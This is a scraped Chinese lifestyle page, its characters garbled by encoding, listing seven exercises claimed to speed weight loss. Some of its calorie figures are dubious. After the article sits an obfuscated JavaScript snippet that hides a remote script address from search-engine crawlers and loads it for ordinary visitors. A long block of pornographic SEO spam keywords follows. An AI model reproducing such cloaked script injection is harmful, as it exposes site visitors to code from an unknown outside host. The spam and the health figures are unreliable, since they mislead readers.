當(dāng)前位置:首頁(yè) > 減肥 > 運(yùn)動(dòng)減肥 > 正文

哪種運(yùn)動(dòng)減肥快呢

2017-04-21 16:17:41  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):我們都說這個(gè)運(yùn)動(dòng)是肥胖的克星,這個(gè)話是一點(diǎn)也不假的,很多運(yùn)動(dòng)都可以讓你達(dá)到減肥的目的,當(dāng)然有些運(yùn)動(dòng)更加快速有效,對(duì)于想要減肥的人來

我們都說這個(gè)運(yùn)動(dòng)是肥胖的克星,這個(gè)話是一點(diǎn)也不假的,很多運(yùn)動(dòng)都可以讓你達(dá)到減肥的目的,當(dāng)然有些運(yùn)動(dòng)更加快速有效,對(duì)于想要減肥的人來說,誰(shuí)不想短時(shí)間內(nèi)讓減肥出成效,因此,對(duì)于這種問題:那種運(yùn)動(dòng)減肥快?大家是很關(guān)心的,下面給大家介紹幾個(gè)能夠快速減肥的運(yùn)動(dòng),希望大家通過努力可以達(dá)到減肥的目的。

1、游泳減肥法

在各種減肥方法中,最安全有效的減肥手段是運(yùn)動(dòng);而在各種運(yùn)動(dòng)中,最理想的減肥運(yùn)動(dòng)是游泳。

游泳是一項(xiàng)有氧運(yùn)動(dòng)消耗的熱量也很多。這是因?yàn)樗械膫鳠嵝允强諝獾?8倍,人在水里停留8分鐘所消耗的熱量,與在同樣溫度的空氣中2小時(shí)所消耗的熱量相同。所以它有更好的瘦身效果。

此外,游泳使身體得到充分的鍛煉。游泳時(shí),人體靠水的浮力托起,手足并用,全身的關(guān)節(jié)、肌肉均勻地協(xié)調(diào)起來,人的各個(gè)部位都得到舒展,使形體變得更勻稱。

2、慢跑減肥法

簡(jiǎn)單易行的跑步被稱作有氧代謝之王,而跑步中的慢跑更是被人們稱為健身跑。慢跑動(dòng)作簡(jiǎn)單,運(yùn)動(dòng)量也很容易調(diào)整,瘦身的效果更是顯著。

在慢跑中,腰、背和四肢都在不停的運(yùn)動(dòng),除了有效健身外,還能燃燒脂肪,從而減少體內(nèi)脂肪的存儲(chǔ),達(dá)到瘦身的效果。

3、變速跑減肥法

這種忽快忽慢的跑步方式,簡(jiǎn)單而隨意,不需要遵循既定的法則。而且將快跑和慢跑兩種強(qiáng)度的運(yùn)動(dòng)結(jié)合起來,可以同時(shí)起到消耗糖和脂肪的效果。

這是因?yàn)槿梭w在運(yùn)動(dòng)時(shí),身體消耗的能源主要來源于糖和脂肪。在短時(shí)間的快速、大量運(yùn)動(dòng)時(shí),以消耗糖為主;而在長(zhǎng)時(shí)間的適中運(yùn)動(dòng)量中,則以消耗脂肪為主。

4、跳繩減肥法

提起跳繩,許多女性都不陌生,但對(duì)于跳繩的神奇減肥效果,并不是每個(gè)人都學(xué)會(huì)好好把握。

從運(yùn)動(dòng)量上說,持續(xù)跳繩10分鐘,與慢跑30分鐘或跳健美操20分鐘所消耗的能量相當(dāng)。所以,跳繩也是一種能在短時(shí)間內(nèi)消耗大量熱量的有氧運(yùn)動(dòng)。

5、爬樓梯減肥法

如今,人們的生活條件好了,出門坐車,上樓乘電梯,運(yùn)動(dòng)量很有限。若在日常中能夠多利用爬樓梯來運(yùn)動(dòng),不僅可以預(yù)防冠心病的發(fā)生,還特別有利于減肥瘦身。

爬30分鐘的樓梯就可以消耗260千卡的熱量,比靜坐多10倍,比散步多4倍,比游泳多2.5倍,相當(dāng)于慢跑800-1500米。

6、做家務(wù)減肥法

做家務(wù)是一個(gè)比較好的瘦身運(yùn)動(dòng),經(jīng)常挽起袖子來做做家務(wù),可以更多的消耗卡路里。盡管做家務(wù)是一項(xiàng)很瑣碎的事情,但是積小成多,只要持之以恒,就可以達(dá)到很好的瘦身效果。

7、瑜伽減肥法

瑜伽不僅能健身,瘦身的效果也相當(dāng)不錯(cuò)。瑜伽減肥法不同于有氧運(yùn)動(dòng),它是在敬仰修身的前提下,提高新陳代謝,使全身血液循環(huán)加快,從而改變?nèi)梭w內(nèi)脂肪和肌肉的比例,縮小脂肪細(xì)胞的體積,并燃燒多余的脂肪。

上面介紹的幾個(gè)方法大家可以試一試,相信效果是不會(huì)有錯(cuò)的,當(dāng)然對(duì)于大家要選擇合適的運(yùn)動(dòng)方法減肥,也要看自己的身體情況,如果身體健康不是很好,可以先選擇比較輕的容易的減肥方法,這樣既健身又減肥,自己也不會(huì)有太大的負(fù)擔(dān),等到適應(yīng)了再選擇難度大一點(diǎn)的運(yùn)動(dòng)。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国内精品在线播放| 久久青青草原精品国产| 久久这里的只有是精品23| 9久9久热精品视频在线观看| 国产午夜精品片一区二区三区| 在线精品动漫一区二区无广告| 国产精品宾馆在线精品酒店| 少妇人妻偷人精品无码视频新浪| 2048亚洲精品国产| 人妻少妇精品久久久久久 | 久久精品久久精品久久精品| 国产综合精品一区二区| 精品视频一区二区三三区四区 | 国产伦精品一区二区三区精品| 久久99精品久久久久久久久久| 久久精品国产72国产精福利| 国产精品色午夜免费视频| 中国精品白嫩bbwbbw| 精品久久久久久国产91| 国产高清在线精品一本大道国产 | 大陆精大陆国产国语精品| 国产精品特级露脸AV毛片| 精品福利一区二区三区免费视频 | 久久精品日日躁精品| 国产精品内射婷婷一级二| 日韩精品久久一区二区三区| 国产精品臀控福利在线观看| 特级精品毛片免费观看| 自拍偷自拍亚洲精品情侣| 亚洲精品国产精品国自产观看 | 最新国产精品好看的国产精品| 91freevideos精品| 久久精品99久久香蕉国产| 国产自偷亚洲精品页65页| 亚洲精品偷拍视频免费观看| 国产成人综合久久精品免费 | 九九在线精品视频专区| 久久se精品一区精品二区国产| 午夜精品久久久久久影视777| 日韩精品中文字幕视频一区| 人妻无码久久精品人妻|